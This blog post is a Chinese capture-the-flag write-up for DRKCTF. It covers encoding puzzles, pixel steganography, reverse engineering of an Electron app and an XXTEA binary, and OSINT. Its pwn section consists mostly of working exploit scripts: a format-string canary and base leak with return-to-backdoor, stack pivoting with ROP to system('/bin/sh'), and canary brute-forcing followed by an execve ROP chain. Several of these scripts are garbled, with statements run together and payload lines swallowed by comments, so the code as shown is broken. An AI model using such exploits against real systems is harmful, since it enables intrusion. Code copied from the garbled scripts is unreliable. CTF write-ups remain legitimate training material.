解码得到:WIPXGUSZ_SZ_1G5_N0IH3

换成大写/小写试试,包上flag头发现不对,那应该还有一层加密。。

随波逐流直接梭:Atbash解码: drkctfha_ha_1t5_m0rs3

DRKCTF{ha_ha_1t5_m0rs3}换成大写:HA_HA_1T5_M0RS3

func_pixels(复现)

题目

这是什么奇怪的像素?(0,0) 是怎么回事?

g_pos = int(math.pow(pos ,2))

我的解答:

蕾姆酱,哇呜!!

图片左上方存在异常像素:

结合题目描述的函数可以想到flag像素的分布应该类似于函数图像,描述说是2次方,那么我们提取 y = x(一次方) 和 y = x^3(三次方) 的像素值,然后两个融合起来就是2次方下的flag。
from PIL import Image

image_path = 'LEIMU_encoded.png'
image = Image.open(image_path)

str1 = ""
str2 = ""
for i in range(10):
    pixel_value = image.getpixel((i, i**2))
    for j in range(3):
        if (chr(pixel_value[j]).isascii()):
            str1 += chr(pixel_value[j])
        else:
            str1 += " "
print(str1)

for i in range(10):
    pixel_value = image.getpixel((i, i**3))
    for j in range(3):
        if (chr(pixel_value[j]).isascii()):
            str2 += chr(pixel_value[j])
        else:
            str2 += " "
print(str2)

# DRKCTF{H HA AH _L iM Is oC te 
# DRKCTF{ AH HA A_ ei uI So ut }

AgedSLATE(复现)

题目

陈旧的石板,这片大地还藏有什么秘密呢?
请用DRKCTF{}包裹flag进行提交

注意隐私保护

flag有两段

我的解答:

懒得写了,直接贴官方wp..

相信那你在查看文档时也找到了名字好像很可疑,这就是第一段flag,对应的hint是:注意隐私保护,很多出题人出题时是没在意名字问题的等于自己把自己开了,本意是借此提醒

 

接着分析doc会发现大量的01,很明显可以猜测为文档隐藏了内容全选后换个字体颜色就行了,,这段01猜测为01 to img,写个脚本就可以了(帮你们试过了大部分的工具出来的都是重叠,还是老老实实写脚本吧。如果你觉得文本量大不好处理,那为什么不试试word的替换功能呢)

 

转成的图片再识图,可以找到海嗣文字,需要反着读镜像后对照即可。“?”为“_“最开始图片上有明确展示

 拼接两段得到flag

 RE

elec_go

题目

其实很ez😯

解得的flag需要使用DRKCTF{}替换flag{}

这些base64语法好抽象啊

我的解答:

解包

asar e .\app.asar app

审计源码

 解密base64

 扔给gpt说是AST语法树,直接让gpt转化成js代码

 写个解密

 重新打包
运行拿到flag

 

import libnum
for i in [
    1146243907,
    1413905258,
    1970500703,
    1634623333,
    2053072236,
    1701016690,
    1869504362,
    1937571840
  ]:
    print(libnum.n2s(i).decode(),end="")

flower_tea

题目

想要来点花茶吗(●'◡'●)
题目flag格式为DRKCTF{}

这里好像有个hook?

我的解答:

过反调试

 直接跟会跟到xxtea和异或

 解出来DRKCTF{Sorry.There_is_no_more_flower_tea.Please_try_again!!}

 猜测还有反调试,翻烂了没找到,看到提示有hook,开始翻函数表,翻到可疑函数

 八成就是注册钩子的函数了,动调一遍发现没有调用

 那上面这个肯定就是反调试了,虽然没看懂怎么反调的

 

重新动调,进了一个新的函数,被hook了

去两个花指令

直接逆

from ctypes import *
import libnum
v22=[0x59578627, 0xE1C49E72, 0xBC24167F, 0x8C3DA26B]
k = [0x00001234, 0x00002341, 0x00003412, 0x00004123]
v=[0x127DC4E1, 0xCBA0EC0E, 0x570EDF5B, 0x99062A35, 0x382A7E1B, 0x15E46742, 0x4E5E456F, 0x3834C1D6, 0x5EF778A5, 0xAF217212, 0xC2D79D20, 0xD5C5935F, 0x0CD2F5BB, 0xC527398C, 0x5EAC6739]
v8=c_uint32(v[0] ^ 0xBC2593ED)
for i in range(4-1,-1,-1):
    a, b, c, d = c_uint32(v[4 * i]), c_uint32(v[4 * i + 1]), c_uint32(v[4 * i + 2]), c_uint32(v[(4 * i + 3) % 15])
    for j in range(33-1,-1,-1):
        d.value -= (2 * v8.value) ^ (k[(j + 3) & 3] >> 2) ^ v8.value ^ c.value
        v8.value -= v22[d.value & 3]
        c.value -= (v8.value >> 2) ^ (8 * k[(j + 2) & 3]) ^ v8.value ^ b.value
        v8.value -= v22[c.value & 3]
        b.value -= (16 * v8.value) ^ (k[(j + 1) & 3] >> 1) ^ v8.value ^ a.value
        v8.value -= v22[b.value & 3]
        a.value -= (v8.value >> 3) ^ (4 * k[j & 3]) ^ v8.value ^ d.value
        v8.value -= v22[(a.value) & 3]
    v[4 * i], v[4 * i + 1], v[4 * i + 2], v[(4 * i + 3) % 15] = a.value, b.value, c.value, d.value
for i in v:
    print(libnum.n2s(i).decode()[::-1],end="")

PWN

ez_quiz

题目

ez

我的解答:

编写base32解密程序解密得到token,再过一个表达式计算的逻辑走到下面存在格式化字符串漏洞的gift函数,通过格式化字符串漏洞泄露libc基地址和canary的值后,覆盖返回地址为backdoor

#include <iostream>
#include <string>

void base32_decode(const std::string& input, std::string& output) {
    static const std::string alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";

    auto lookup = [](char ch) {
        if (ch >= 'A' && ch <= 'Z') return ch - 'A';
        if (ch >= '2' && ch <= '7') return ch - '2' + 26;
        return -1;
        };

    int accumulator = 0;
    int bits_collected = 0;

    for (char ch : input) {
        if (ch == '=') break;

        int value = lookup(ch);
        if (value == -1) continue;

        accumulator = (accumulator << 5) | value;
        bits_collected += 5;

        if (bits_collected >= 8) {
            output.push_back(~(char)((accumulator >> (bits_collected - 8)) & 0xFF));
            bits_collected -= 8;
        }
    }
}

int main() {
    std::string encoded_str = "XOW3JPFLXGCK7TWMX6GMZIGOTK7ZJIELS65KBHU3TOG2BT4ZUDEJPGVATS7JDPVNQ2QL7EM3UCHZNGUC";
    std::string decoded_str;

    base32_decode(encoded_str, decoded_str);
    std::cout << decoded_str << std::endl;

    return 0;
}
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

p = process('./attachment')
# p = remote("challenge.qsnctf.com",35459)

p.sendlineafter("token: ","DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}")

p.recvuntil("(( ")
a = int(p.recvuntil('-')[:-2])
b = int(p.recvuntil(' )')[:-2])
p.recvuntil('* ')
c = int(p.recvuntil(' )')[:-2])
p.recvuntil('% ')
d = int(p.recvuntil('=')[:-1])
p.sendline(str(((a - b) * c) %d))

p.sendlineafter("gift:\n","AA%11$pBB%8$p")
# gdb.attach(p)

p.recvuntil('AA')
canary = int(p.recv(18),16)
p.recvuntil('BB')
elf_base = int(p.recv(14),16) - (0x55b4b7ff2bd7 - 0x55b4b7ff1000)

payload = b'a' * 0x28 + p64(canary) + b'a' * 8 + p64(elf_base + 0x0000000000001426)
p.sendline(payload)


p.interactive()

stack

我的解答:

main函数就是这样,只有一个溢出点

能溢出0x10字节,直接使用call_read +栈迁移打法,修改rbp指针,然后call_read的时候直接可以栈迁

先把rbp改为bss可控段,然后call_read会再bss段上输入东西

这个时候可以直接栈迁移, bss段地址可知并且可控

from pwn import *
from LibcSearcher import*
#32711 me
# p=remote('challenge.qsnctf.com',31669)
FILENAME='../pwn5'  p=process(FILENAME)
# elf=ELF(FILENAME)
libc=ELF('../libc-2.31.so')
# p=gdb.debug(FILENAME,'b* 0x08049422')
gdb.attach(p,'b* 0x4011B9')

call_read=0x40119B bss=0x404340
payload=b'a'*(0x100)+p64(bss)+p64(call_read) p.send(payload)

rdi_ret=0x0000000000401210 ret=0x000000000040101a
leave_ret=0x00000000004011be
puts_plt=0x401064  puts_got=0x404018  bss_next=bss+0x500

payload=p64(bss_next)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(call_read) payload=payload.ljust(0x100,b'\x00')
payload+=p64(bss-0x100)+p64(leave_ret) p.send(payload)

libc_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) libcbase=libc_add-libc.sym['puts']
system=libcbase+libc.symbols['system']
str_bin_sh=libcbase+next(libc.search(b'/bin/sh')) success('libcbase '+hex(libcbase))
payload=p64(rdi_ret)+p64(str_bin_sh)+p64(system) payload=payload.ljust(0x100,b'\x00')
payload+=p64(bss_next-0x100-0x8)+p64(leave_ret) p.send(payload)
p.interactive()

canary

我的解答:

使用fork来无限循环调用vuln函数

vlun函数中有溢出

fork之后canary是不变的,可以使用brop爆破出canary然后再利用溢出写静态rop

from pwn import *
from LibcSearcher import* from struct import pack
#32711 me
p=remote('challenge.qsnctf.com',30519) FILENAME='../pwn'
# p=process(FILENAME) # elf=ELF(FILENAME)
# libc=ELF('../libc-2.31.so')
# p=gdb.debug(FILENAME,'b* 0x08049422') # gdb.attach(p,'b* 0x4011B9')

def sh():
# Padding goes here
  p = b''
  p += pack('<Q', 0x000000000040f23e) # pop rsi ; ret p += pack('<Q', 0x00000000004c10e0) # @ .data
  p += pack('<Q', 0x00000000004493d7) # pop rax ; ret p += b'/bin//sh'
  p += pack('<Q', 0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x000000000040f23e) # pop rsi ; ret
  p += pack('<Q', 0x00000000004c10e8) # @ .data + 8
  p += pack('<Q', 0x00000000004437a0) # xor rax, rax ; ret
  p += pack('<Q', 0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004018c2) # pop rdi ; ret
  p += pack('<Q', 0x00000000004c10e0) # @ .data
  p += pack('<Q', 0x000000000040f23e) # pop rsi ; ret p += pack('<Q', 0x00000000004c10e8) # @ .data + 8
  p += pack('<Q', 0x00000000004017cf) # pop rdx ; ret p += pack('<Q', 0x00000000004c10e8) # @ .data + 8
  p += pack('<Q', 0x00000000004493d7) # p += p64(59)
  p += pack('<Q', 0x00000000004012d3) # syscall
  return p
myrop=sh()
print(hex(len(myrop))) canary=b'\x00'
padding=b'a'*(0x110-0x8) 
for i in range(7):
  for j in range(0x100): 
    try:
      # print(hex(j))
      payload=padding+canary+p8(j)
      p.sendafter(b'input:\n',payload)
      strs=p.recvuntil(b'*** stack smashing detected ***',timeout=1) 
      if(b'stack' not in strs):
        print(i+1,'--',hex(j)) 
        canary+=p8(j)
        break 
    except:
      pass
# gdb.attach(p,'b* 0x401DA3')
print('down----')
payload=padding+canary+p64(0xdeadbeef)+myrop 
print(hex(len(payload)))
p.sendafter(b'input:\n',payload)
p.interactive()

Osint

羡慕群友每一天

题目

群友又出去旅游了,中途给xiaoxi发来一张照片,快来看看这是哪吧
flag格式:DRKCTF{国家-一级行政区-城市-摩天轮名字}
摩天轮名字为英文,首字母大写。

DRKCTF{X国-XXXX州-XXX市-Xxxxxxxx}

我的解答:

谷歌识图秒!!!

 

 

posted @ 2024-05-26 23:50  Kicky_Mu  阅读(980)  评论(0编辑  收藏  举报